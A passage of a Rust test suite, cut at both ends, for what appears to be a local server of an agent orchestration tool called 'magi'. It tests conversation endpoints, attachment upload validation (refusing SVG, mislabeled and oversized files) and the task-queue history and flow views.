9166 let saved = store.get(&id).expect("draft remains after refusal");
9167 assert!(saved.turns.is_empty());
9168 assert_eq!(saved.pending, "saved before restart");
9169
9170 let say_path = format!("/api/talks/{id}/say");
9171 let (first, second) = tokio::join!(
9172 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9173 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9174 );
9175 assert_eq!(first.status, 409, "{}", first.body);
9176 assert_eq!(second.status, 409, "{}", second.body);
9177 let saved = store
9178 .get(&id)
9179 .expect("draft remains after concurrent refusals");
9180 assert!(saved.turns.is_empty());
9181 assert_eq!(saved.pending, "saved before restart");
9182
9183 let resumed = f
9184 .post(&format!("/api/talks/{id}/pending/resume"), None)
9185 .await;
9186 assert_eq!(resumed.status, 202, "{}", resumed.body);
9187 let duplicate = f
9188 .post(&format!("/api/talks/{id}/pending/resume"), None)
9189 .await;
9190 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9191
9192 for _ in 0..SETTLE_STEPS {
9193 if store.get(&id).expect("talk").turns.len() == 2 {
9194 break;
9195 }
9196 tokio::time::sleep(Duration::from_millis(10)).await;
9197 }
9198 let finished = store.get(&id).expect("finished talk");
9199 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9200 assert_eq!(finished.turns[0].body, "saved before restart");
9201 assert!(finished.pending.is_empty());
9202 }
9203
9204 #[tokio::test]
9205 async fn an_image_only_recovered_draft_resumes_without_text() {
9206 let (_tmp, _repo, f) = talk_fixture().await;
9207 let id = f.post("/api/talks", None).await.json()["id"]
9208 .as_str()
9209 .expect("id")
9210 .to_owned();
9211 let uploaded = f
9212 .post_bytes(
9213 &format!("/api/talks/{id}/attachments"),
9214 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9215 PNG_BYTES,
9216 )
9217 .await;
9218 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9219 let attachment = f
9220 .talks()
9221 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9222 .expect("attachment metadata")
9223 .expect("stored attachment");
9224 let store = f.talks();
9225 let mut recovered = store.get(&id).expect("opened talk");
9226 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9227
9228 let resumed = f
9229 .post(&format!("/api/talks/{id}/pending/resume"), None)
9230 .await;
9231 assert_eq!(resumed.status, 202, "{}", resumed.body);
9232 for _ in 0..SETTLE_STEPS {
9233 if store.get(&id).expect("talk").turns.len() == 2 {
9234 break;
9235 }
9236 tokio::time::sleep(Duration::from_millis(10)).await;
9237 }
9238 let finished = store.get(&id).expect("finished talk");
9239 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9240 assert!(finished.turns[0].body.is_empty());
9241 assert_eq!(finished.turns[0].attachments.len(), 1);
9242 assert!(finished.pending_attachments.is_empty());
9243 }
9244
9245 #[tokio::test]
9246 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9247 let (_tmp, _repo, f) = talk_fixture().await;
9248 let id = f.post("/api/talks", None).await.json()["id"]
9249 .as_str()
9250 .expect("id")
9251 .to_owned();
9252 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9253 assert_eq!(closed.status, 200, "{}", closed.body);
9254 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9255 .expect("serialize closed talk");
9256 for (path, body) in [
9257 (format!("/api/talks/{id}/pending/resume"), None),
9258 (
9259 format!("/api/talks/{id}/pending/clear"),
9260 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9261 ),
9262 (
9263 format!("/api/talks/{id}/pending/edit"),
9264 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9265 ),
9266 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9267 ] {
9268 let response = f.post(&path, body).await;
9269 assert_eq!(response.status, 409, "{}", response.body);
9270 }
9271 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9272 .expect("serialize closed talk");
9273 assert_eq!(
9274 after_clear, before_clear,
9275 "clear must not rewrite a closed talk"
9276 );
9277 }
9278
9279 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9282
9283 #[tokio::test]
9284 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9285 let tmp = TempDir::new().expect("tempdir");
9286 let repo = tmp.path().join("repo");
9287 std::fs::create_dir_all(&repo).expect("repo dir");
9288 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9289 let f = Fixture::with_repo(repo).await;
9290 let id_a = f.post("/api/talks", None).await.json()["id"]
9291 .as_str()
9292 .unwrap()
9293 .to_owned();
9294 let id_b = f.post("/api/talks", None).await.json()["id"]
9295 .as_str()
9296 .unwrap()
9297 .to_owned();
9298
9299 let a = f
9300 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9301 .await;
9302 assert_eq!(a.status, 202, "{}", a.body);
9303 assert_eq!(a.json()["thinking"], true);
9304 let b = f
9305 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9306 .await;
9307 assert_eq!(b.status, 202, "{}", b.body);
9308 assert_eq!(b.json()["thinking"], true);
9309
9310 let listed = f.get("/api/talks").await.json();
9311 for id in [&id_a, &id_b] {
9312 let view = listed
9313 .as_array()
9314 .unwrap()
9315 .iter()
9316 .find(|talk| talk["id"] == *id)
9317 .unwrap();
9318 assert_eq!(view["thinking"], true, "{listed}");
9319 }
9320 let repeated = f
9321 .post(
9322 &format!("/api/talks/{id_a}/say"),
9323 Some(r#"{"text":"again"}"#),
9324 )
9325 .await;
9326 assert_eq!(repeated.status, 202, "{}", repeated.body);
9327 assert_eq!(repeated.json()["pending"], "again");
9328 }
9329
9330 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9333
9334 #[tokio::test]
9335 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9336 let f = Fixture::start().await;
9337 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9338
9339 let res = f
9340 .post_bytes(
9341 &format!("/api/talks/{id}/attachments"),
9342 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9343 PNG_BYTES,
9344 )
9345 .await;
9346 assert_eq!(res.status, 201, "{}", res.body);
9347 let body = res.json();
9348 assert_eq!(body["name"], "shot.png");
9349 assert_eq!(body["mime"], "image/png");
9350 assert_eq!(body["bytes"], PNG_BYTES.len());
9351 let att_id = body["id"].as_str().expect("id").to_owned();
9352 assert_eq!(
9353 att_id.len(),
9354 32,
9355 "the id must never be a client-suppliable path: {att_id}"
9356 );
9357
9358 let got = f
9359 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9360 .await;
9361 assert_eq!(got.status, 200, "{}", got.body);
9362 assert_eq!(got.header("content-type"), Some("image/png"));
9363 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9364 assert_eq!(got.bytes, PNG_BYTES);
9365 }
9366
9367 #[tokio::test]
9368 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9369 let f = Fixture::start().await;
9370 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9371
9372 let svg = f
9375 .post_bytes(
9376 &format!("/api/talks/{id}/attachments"),
9377 &[("Content-Type", "image/svg+xml")],
9378 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9379 )
9380 .await;
9381 assert!(
9382 (400..500).contains(&svg.status),
9383 "svg must be refused: {} {}",
9384 svg.status,
9385 svg.body
9386 );
9387 assert!(svg.body.contains("SVG"), "{}", svg.body);
9388
9389 let text = f
9390 .post_bytes(
9391 &format!("/api/talks/{id}/attachments"),
9392 &[("Content-Type", "text/plain")],
9393 b"just some text",
9394 )
9395 .await;
9396 assert!(
9397 (400..500).contains(&text.status),
9398 "an unlisted type must be refused: {} {}",
9399 text.status,
9400 text.body
9401 );
9402
9403 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9406 let big = f
9407 .post_bytes(
9408 &format!("/api/talks/{id}/attachments"),
9409 &[("Content-Type", "image/png")],
9410 &oversized,
9411 )
9412 .await;
9413 assert_eq!(
9414 big.status,
9415 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9416 "{}",
9417 big.body
9418 );
9419 }
9420
9421 #[tokio::test]
9422 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9423 let f = Fixture::start().await;
9424 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9425
9426 let res = f
9429 .post_bytes(
9430 &format!("/api/talks/{id}/attachments"),
9431 &[("Content-Type", "image/png")],
9432 b"<html>not a picture</html>",
9433 )
9434 .await;
9435 assert!((400..500).contains(&res.status), "{}", res.body);
9436 }
9437
9438 #[tokio::test]
9439 async fn an_unknown_attachment_id_is_a_404() {
9440 let f = Fixture::start().await;
9441 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9442
9443 let res = f
9444 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9445 .await;
9446 assert_eq!(res.status, 404, "{}", res.body);
9447 }
9448
9449 #[tokio::test]
9450 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9451 let f = Fixture::start().await;
9452 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9453
9454 let uploaded = f
9455 .post_bytes(
9456 &format!("/api/talks/{id}/attachments"),
9457 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9458 PNG_BYTES,
9459 )
9460 .await;
9461 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9462 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9463
9464 let res = f
9465 .post(
9466 &format!("/api/talks/{id}/say"),
9467 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9468 )
9469 .await;
9470 assert_eq!(res.status, 202, "{}", res.body);
9471 let queued = res.json();
9472 let turns = queued["turns"].as_array().expect("turns array");
9473 assert_eq!(
9474 turns.len(),
9475 1,
9476 "an empty body with an attachment is still a turn: {queued}"
9477 );
9478 assert_eq!(turns[0]["who"], "operator");
9479 assert_eq!(turns[0]["body"], "");
9480 let atts = turns[0]["attachments"]
9481 .as_array()
9482 .expect("attachments array");
9483 assert_eq!(atts.len(), 1);
9484 assert_eq!(atts[0]["id"], att_id);
9485 assert_eq!(atts[0]["mime"], "image/png");
9486
9487 let on_disk = f.talks().get(&id).expect("get");
9490 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9491 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9492 }
9493
9494 #[tokio::test]
9495 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9496 let f = Fixture::start().await;
9497 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9498
9499 let res = f
9500 .post(
9501 &format!("/api/talks/{id}/say"),
9502 Some(&format!(
9503 r#"{{"text":"hi","attachments":["{}"]}}"#,
9504 "a".repeat(32)
9505 )),
9506 )
9507 .await;
9508 assert!((400..500).contains(&res.status), "{}", res.body);
9509 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9510
9511 let on_disk = f.talks().get(&id).expect("get");
9512 assert!(
9513 on_disk.turns.is_empty(),
9514 "a rejected attachment id must not partially record the turn: {:?}",
9515 on_disk.turns
9516 );
9517 }
9518
9519 #[tokio::test]
9520 async fn talk_close_makes_the_talk_refuse_further_turns() {
9521 let f = Fixture::start().await;
9522 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9523
9524 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9525 assert_eq!(closed.status, 200, "{}", closed.body);
9526 assert_eq!(closed.json()["status"], "closed");
9527
9528 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9530 assert_eq!(closed_again.status, 200);
9531 assert_eq!(closed_again.json()["status"], "closed");
9532
9533 let said = f
9534 .post(
9535 &format!("/api/talks/{id}/say"),
9536 Some(r#"{"text":"too late"}"#),
9537 )
9538 .await;
9539 assert_eq!(said.status, 409, "{}", said.body);
9540 }
9541
9542 #[tokio::test]
9543 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9544 let (_tmp, _repo, f) = talk_fixture().await;
9545 let id = f.post("/api/talks", None).await.json()["id"]
9546 .as_str()
9547 .expect("id")
9548 .to_owned();
9549 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9550 assert_eq!(closed.status, 200, "{}", closed.body);
9551
9552 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9553 assert_eq!(reopened.status, 200, "{}", reopened.body);
9554 assert_eq!(reopened.json()["status"], "open");
9555
9556 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9558 assert_eq!(reopened_again.status, 200);
9559 assert_eq!(reopened_again.json()["status"], "open");
9560
9561 let said = f
9562 .post(
9563 &format!("/api/talks/{id}/say"),
9564 Some(r#"{"text":"still there?"}"#),
9565 )
9566 .await;
9567 assert_eq!(
9568 said.status, 202,
9569 "a reopened talk accepts turns again: {}",
9570 said.body
9571 );
9572 }
9573
9574 #[tokio::test]
9575 async fn talk_reopen_on_an_unknown_id_is_404() {
9576 let f = Fixture::start().await;
9577 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9578 assert_eq!(res.status, 404, "{}", res.body);
9579 }
9580
9581 #[tokio::test]
9582 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9583 let f = Fixture::start().await;
9584 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9585
9586 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9587 assert_eq!(deleted.status, 204, "{}", deleted.body);
9588
9589 let after = f.get(&format!("/api/talks/{id}")).await;
9590 assert_eq!(after.status, 404, "{}", after.body);
9591
9592 let listed = f.get("/api/talks").await.json();
9593 assert!(
9594 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9595 "a deleted talk must not linger in the list: {listed}"
9596 );
9597 }
9598
9599 #[tokio::test]
9600 async fn talk_delete_on_an_unknown_id_is_404() {
9601 let f = Fixture::start().await;
9602 let res = f.delete("/api/talks/nonexistent-id").await;
9603 assert_eq!(res.status, 404, "{}", res.body);
9604 }
9605
9606 #[tokio::test]
9610 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9611 let f = Fixture::start().await;
9612 let (a, b, gone) = (
9613 "20260902-140501-aaaa",
9614 "20260902-140502-bbbb",
9615 "20260902-140503-cccc",
9616 );
9617 write_run(&f.runs(), a, RunStatus::Stalled);
9618 let mut review = RunState::new(
9619 PathBuf::from("/repo/magi"),
9620 "main".to_owned(),
9621 "0123456789abcdef".to_owned(),
9622 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9623 .to_owned(),
9624 Config::default(),
9625 );
9626 review.id = b.to_owned();
9627 review.status = RunStatus::Merged;
9628 write_state(&f.runs(), &review);
9629
9630 let mut task = Task::new(
9631 "retry".to_owned(),
9632 "Do the thing".to_owned(),
9633 PathBuf::from("/repo/magi"),
9634 Source::Human,
9635 );
9636 task.start(a.to_owned());
9637 task.stall("quota");
9638 task.start(a.to_owned());
9639 task.start(b.to_owned());
9640 task.start(gone.to_owned());
9641 f.queue().put(&mut task).expect("file the task");
9642
9643 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9644 assert_eq!(res.status, 200, "{}", res.body);
9645 let v = res.json();
9646 let h = v["history"].as_array().expect("history");
9647 assert_eq!(h.len(), 4, "{v}");
9648 assert_eq!(h[0]["kind"], "competition");
9649 assert_eq!(h[0]["status"], "stalled");
9650 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9651 assert_eq!(h[1]["kind"], "resume", "{v}");
9652 assert!(
9653 h[0]["outcome"]
9654 .as_str()
9655 .unwrap()
9656 .contains("unknown. Pass #2"),
9657 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9658 );
9659 assert!(
9660 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9661 "{v}"
9662 );
9663 assert!(
9664 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9665 "an unrecorded cause must not be narrated as an operator park: {v}"
9666 );
9667 assert_eq!(h[2]["kind"], "review");
9668 assert!(
9669 h[2]["description"]
9670 .as_str()
9671 .unwrap()
9672 .contains("magi/aaaa/A")
9673 );
9674 assert_eq!(h[2]["status"], "merged");
9675 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9676 assert_eq!(v["runs_unreadable"], 1);
9677 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9678 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9679 assert_eq!(nodes[4]["note"], "unreadable");
9680 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9681 assert_eq!(v["instruction"], "Do the thing");
9682 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9683
9684 let run = f.get(&format!("/api/runs/{a}")).await.json();
9686 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9687
9688 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9689 }
9690
9691 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9692 let mut s = RunState::new(
9693 PathBuf::from("/repo/magi"),
9694 "main".to_owned(),
9695 "0123456789abcdef".to_owned(),
9696 "Do it".to_owned(),
9697 Config::default(),
9698 );
9699 s.status = status;
9700 edit(&mut s);
9701 s
9702 }
9703
9704 fn flow_task(runs: &[&str]) -> Task {
9705 let mut t = Task::new(
9706 "t".to_owned(),
9707 "Do it".to_owned(),
9708 PathBuf::from("/repo/magi"),
9709 Source::Human,
9710 );
9711 for r in runs {
9712 t.start((*r).to_owned());
9713 }
9714 t
9715 }
9716
9717 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9718 let h = task_history(task, |id| {
9719 states
9720 .iter()
9721 .find(|(i, _)| *i == id)
9722 .and_then(|(_, s)| s.clone())
9723 });
9724 task_flow(task, &h, 5)
9725 }
9726
9727 #[test]
9728 fn flow_opens_with_the_chat_that_queued_the_task() {
9729 let mut t = flow_task(&[]);
9730 t.source = Source::Agent {
9731 run: "a b/c".to_owned(),
9732 node: crate::queue::CHAT_NODE.to_owned(),
9733 };
9734 let f = flow_for(&t, &[]);
9735 assert_eq!(f.nodes[0].key, "chat");
9736 assert_eq!(f.nodes[0].kind, "chat");
9737 assert_eq!(
9738 f.nodes[0].label,
9739 format!("Chat {}", crate::queue::short("a b/c"))
9740 );
9741 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9742 assert_eq!(f.nodes[1].key, "start");
9743 assert_eq!(
9744 f.edges[0],
9745 FlowEdge {
9746 from: "chat".to_owned(),
9747 to: "start".to_owned(),
9748 label: "queued from chat".to_owned(),
9749 attempt: AttemptCost::None,
9750 }
9751 );
9752 }
9753
9754 #[test]
9755 fn flow_has_no_chat_box_for_other_sources() {
9756 for source in [
9757 Source::Human,
9758 Source::Issue {
9759 number: 3,
9760 repo: "o/r".to_owned(),
9761 },
9762 Source::Agent {
9763 run: "20260904-014455-ab12".to_owned(),
9764 node: "implement".to_owned(),
9765 },
9766 ] {
9767 let mut t = flow_task(&[]);
9768 t.source = source;
9769 let f = flow_for(&t, &[]);
9770 assert_eq!(f.nodes[0].key, "start");
9771 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9772 assert!(f.edges.iter().all(|e| e.from != "chat"));
9773 }
9774 }
9775
9776 const FA: &str = "20260902-140501-aaaa";
9777 const FB: &str = "20260902-140502-bbbb";
9778
9779 #[test]
9780 fn flow_follows_blocked_retry_merged_to_done() {
9781 let mut t = flow_task(&[FA, FB]);
9782 t.status = TaskStatus::Done;
9783 let f = flow_for(
9784 &t,
9785 &[
9786 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9787 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9788 ],
9789 );
9790 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9791 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9792 assert_eq!(f.edges.len(), 3);
9793 assert_eq!(f.edges[0].label, "claimed");
9794 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9795 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9796 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9797 assert_eq!(
9798 f.nodes[2].href.as_deref(),
9799 Some("#/runs/20260902-140502-bbbb")
9800 );
9801 assert!(f.nodes[2].decided);
9802 }
9803
9804 #[test]
9805 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9806 let quota = || {
9807 flow_run(RunStatus::Stalled, |s| {
9808 s.quota.push(crate::run::QuotaLoss {
9809 seat: "judge-1".to_owned(),
9810 node: "judge".to_owned(),
9811 at: Timestamp::now(),
9812 reset: None,
9813 })
9814 })
9815 };
9816 let mut t = flow_task(&[FA, FA]);
9817 t.status = TaskStatus::Queued;
9818 let f = flow_for(&t, &[(FA, Some(quota()))]);
9819 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9820 assert_eq!(f.nodes[1].note, Some("interrupted"));
9821 assert_eq!(
9822 f.nodes[1].status, None,
9823 "no outcome copied onto an earlier pass"
9824 );
9825 assert_eq!(
9826 f.edges[1].attempt,
9827 AttemptCost::Unknown,
9828 "a resume does not prove the earlier pass was refunded"
9829 );
9830 assert!(f.edges[1].label.contains("resume the same run"));
9831 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9832 assert_eq!(
9833 f.edges[2].label,
9834 "stalled after a resume, refund unknown \u{2192} queued"
9835 );
9836 assert!(!f.nodes[2].decided, "a stall is not a decision");
9837 assert_eq!(f.nodes[2].note, Some("no verdict"));
9838 }
9839
9840 #[test]
9841 fn flow_single_pass_quota_stall_is_refunded() {
9842 let t = flow_task(&[FA]);
9843 let f = flow_for(
9844 &t,
9845 &[(
9846 FA,
9847 Some(flow_run(RunStatus::Stalled, |s| {
9848 s.quota.push(crate::run::QuotaLoss {
9849 seat: "judge-1".to_owned(),
9850 node: "judge".to_owned(),
9851 at: Timestamp::now(),
9852 reset: None,
9853 })
9854 })),
9855 )],
9856 );
9857 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9858 }
9859
9860 #[test]
9861 fn flow_parked_refunds_and_stall_without_quota_spends() {
9862 let mut t = flow_task(&[FA]);
9863 t.status = TaskStatus::Queued;
9864 let f = flow_for(
9865 &t,
9866 &[(
9867 FA,
9868 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9869 )],
9870 );
9871 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9872 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9873 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9874 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9875 assert!(!f.nodes[1].decided);
9876 }
9877
9878 #[test]
9879 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9880 let t = flow_task(&[FA, FB]);
9881 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9882 assert_eq!(f.nodes[1].note, Some("unreadable"));
9883 assert!(!f.nodes[1].readable);
9884 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9885 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9886 }
9887
9888 #[test]
9889 fn flow_names_the_branch_of_a_review_only_run() {
9890 let t = flow_task(&[FA]);
9891 let f = flow_for(
9892 &t,
9893 &[(
9894 FA,
9895 Some(flow_run(RunStatus::Merged, |s| {
9896 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9897 })),
9898 )],
9899 );
9900 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9901 assert_eq!(
9902 f.nodes[1].detail.as_deref(),
9903 Some("review-only run of branch magi/x/A")
9904 );
9905 }
9906
9907 #[test]
9908 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9909 let mut t = flow_task(&[FA]);
9910 t.status = TaskStatus::Held;
9911 let pr = crate::run::PrRecord {
9912 url: "https://example.test/pr/1".to_owned(),
9913 number: 1,
9914 state: "open".to_owned(),
9915 checks: "green".to_owned(),
9916 round: 0,
9917 rounds: 3,
9918 red_at_merge: Vec::new(),
9919 };
9920 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9921 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9922 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9923 t.status = TaskStatus::Done;
9924 let f = flow_for(&t, &[(FA, Some(blocked))]);
9925 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9926 }
9927
9928 #[test]
9929 fn flow_with_no_runs_goes_from_queued_to_queued() {
9930 let t = flow_task(&[]);
9931 let f = flow_for(&t, &[]);
9932 assert_eq!(f.nodes.len(), 2);
9933 assert_eq!(f.edges.len(), 1);
9934 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9935 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9936 }
9937
9938 #[test]
9941 fn a_parked_non_terminal_run_is_explained_as_parked() {
9942 let mut s = RunState::new(
9943 PathBuf::from("/repo/magi"),
9944 "main".to_owned(),
9945 "0123456789abcdef".to_owned(),
9946 "Do it".to_owned(),
9947 Config::default(),
9948 );
9949 s.status = RunStatus::Implementing;
9950 s.parked = true;
9951 let task = Task::new(
9952 "t".to_owned(),
9953 "Do it".to_owned(),
9954 PathBuf::from("/repo/magi"),
9955 Source::Human,
9956 );
9957 let v = task_run_view(
9958 "20260902-140501-aaaa",
9959 Some(&s),
9960 RunSlot {
9961 n: 1,
9962 resumed: false,
9963 resumed_later: None,
9964 prior: None,
9965 last: true,
9966 },
9967 &task,
9968 );
9969 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9970 }
9971
9972 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9973 let mut s = flow_run(RunStatus::Implementing, edit);
9974 s.parked = false;
9975 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9976 task_run_view(
9977 "20260902-140501-aaaa",
9978 Some(&s),
9979 RunSlot {
9980 n: 1,
9981 resumed: false,
9982 resumed_later: Some(2),
9983 prior: None,
9984 last: false,
9985 },
9986 &task,
9987 )
9988 }
9989
9990 #[test]
9991 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9992 let v = earlier_pass_view(|_| {});
9993 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9994 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9995 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9996 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9997 assert_eq!(v.exit, RunExit::Interrupted);
9998 assert_eq!(v.attempt, AttemptCost::Unknown);
9999 }
10000
10001 #[test]
10002 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10003 let v = earlier_pass_view(|s| {
10004 s.quota.push(crate::run::QuotaLoss {
10005 seat: "judge-1".to_owned(),
10006 node: "judge".to_owned(),
10007 at: Timestamp::now(),
10008 reset: None,
10009 });
10010 });
10011 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10012 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10013 assert_eq!(v.attempt, AttemptCost::Unknown);
10014 }
10015
10016 #[test]
10017 fn the_current_pass_states_its_recorded_cause_and_cost() {
10018 let slot = || RunSlot {
10019 n: 1,
10020 resumed: false,
10021 resumed_later: None,
10022 prior: None,
10023 last: true,
10024 };
10025 let task = flow_task(&["20260902-140501-aaaa"]);
10026 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10027 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10028 assert_eq!(
10029 (v.exit, v.attempt),
10030 (RunExit::Parked, AttemptCost::Refunded)
10031 );
10032 let spent = flow_run(RunStatus::Blocked, |_| {});
10033 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10034 assert_eq!(v.attempt, AttemptCost::Spent);
10035 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10036 }
10037
10038 #[tokio::test]
10039 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10040 let f = Fixture::start().await;
10041 let queue = f.queue();
10042 let mut task = Task::new(
10043 "spent".to_owned(),
10044 "Try again".to_owned(),
10045 PathBuf::from("/repo/magi"),
10046 Source::Human,
10047 );
10048 task.start("20260902-140502-bbbb".to_owned());
10049 task.fail("agent gave up", 9);
10050 queue.put(&mut task).expect("file the task");
10051
10052 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10053 assert_eq!(held.status, 200);
10054 assert_eq!(held.json()["status_str"], "held");
10055
10056 let released = f
10057 .post(&format!("/api/queue/{}/release", task.id), None)
10058 .await;
10059 assert_eq!(released.status, 200);
10060 assert_eq!(released.json()["status_str"], "queued");
10061 assert_eq!(
10062 released.json()["attempts"],
10063 0,
10064 "release is a real second chance, not an instant re-hold"
10065 );
10066 assert_eq!(
10067 queue.get(&task.id).expect("reload").status,
10068 TaskStatus::Queued,
10069 "the change is on disk, not only in the reply"
10070 );
10071 assert!(
10072 !f.home
10073 .path()
10074 .join("queue")
10075 .join(format!("{}.lock", task.id))
10076 .exists(),
10077 "the claim the mutation took is released again"
10078 );
10079 }
10080
10081 #[tokio::test]
10082 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10083 let f = Fixture::start().await;
